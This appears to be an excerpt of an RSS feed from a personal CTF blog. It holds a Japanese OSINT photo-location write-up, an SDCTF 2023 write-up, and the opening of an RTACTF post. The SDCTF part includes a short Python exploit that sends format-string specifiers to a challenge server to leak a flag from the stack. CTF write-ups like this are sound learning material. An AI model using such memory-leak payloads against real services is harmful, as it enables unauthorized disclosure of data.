&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/sunset.jpg&#34; alt=&#34;sunset&#34;  /&gt;

shioさんが何らかのイベント終了後に撮った写真から、場所ではなく時間を誤差1分で答える問題です。
しかも回答可能回数は3回。&lt;/p&gt;
&lt;p&gt;無理じゃーんと思いましたが、場所さえ分かれば日没直前なのである程度の時刻はわかります。
とりあえずイベントを突き止めるためにshioさんのXを漁ります。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/sakumon.png&#34; alt=&#34;sakumon&#34;  /&gt;

&lt;a href=&#34;https://x.com/shio_sa1t/status/1698334659699192002&#34;&gt;https://x.com/shio_sa1t/status/1698334659699192002&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;作問に追われていた時期がわかるので、だいたいこの直後あたりで作った問題な予感がします。（エスパー）&lt;/p&gt;
&lt;p&gt;実際、上の示したポストの直後にセキュリティ・ミニキャンプ in 新潟 2023で講師をされていたことがわかります。&lt;/p&gt;
&lt;p&gt;ここで写真を見返すと、西側の海の向こうに陸地が見えます。
新潟で撮影された写真であれば、西に佐渡島があるので、陸地が見えるのも頷けます。
新潟の写真であることにある程度確信が持てたところで、新潟の海岸あたりからそれっぽい場所を探します。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/sea.png&#34; alt=&#34;sea&#34;  /&gt;

&lt;a href=&#34;https://maps.app.goo.gl/ntPzN8f38J1MnsRh8&#34;&gt;https://maps.app.goo.gl/ntPzN8f38J1MnsRh8&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>SDCTF 2023 writeup</title>
      <link>https://blog.albina.cc/posts/sdctf-2023-writeup/</link>
      <pubDate>Thu, 11 May 2023 19:36:24 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/sdctf-2023-writeup/</guid>
      <description>&lt;p&gt;I participated &lt;a href=&#34;https://ctf.sdc.tf/&#34;&gt;SDCTF 2023&lt;/a&gt; as Wani Hackase and took 5th
place. Thank you for organizing nice CTF events!&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-sdctf/result.png&#34; width=&#34;80%&#34;/&gt; 
&lt;/figure&gt;

&lt;h2 id=&#34;pwnmoney-printer&#34;&gt;PWN/money-printer&lt;/h2&gt;
&lt;p&gt;This binary contains a format string bug and the flag is located at stack. I
just send &lt;code&gt;%i$08lx&lt;/code&gt; to reveal the flag as shown below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;toyotama&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Socket&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;nc money.sdc.tf 1337&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sendlineafter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;want?&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sendlineafter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;audience?&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;sa&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;%&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;$08lx&amp;#34;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)]))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;recvuntil&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;said: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;recvline&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fromhex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[::&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;miscform-bomb-protector&#34;&gt;MISC/Form bomb protector&lt;/h2&gt;
&lt;p&gt;After connecting the server, it spawn a shell but we cannot use most commands
since some syscall is prohibited. It accepts bash builtin commands, so I
combined some of them to read the flag.&lt;/p&gt;</description>
    </item>
    <item>
      <title>RTACTF 2023 Writeup</title>
      <link>https://blog.albina.cc/posts/rtactf-2023-writeup/</link>
      <pubDate>Tue, 21 Mar 2023 21:11:17 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/rtactf-2023-writeup/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://rtactf.ctfer.jp/&#34;&gt;RTACTF 2023&lt;/a&gt;にUZQueenで参加しました。&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;起きたらちょうどRTACTFのpwnをやっていたので、布団でしばらく観戦したあとcryptoだけ参戦しました。&lt;br&gt;
というか走っていた方々、手元を見られながらも解けるの本当にすごい&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
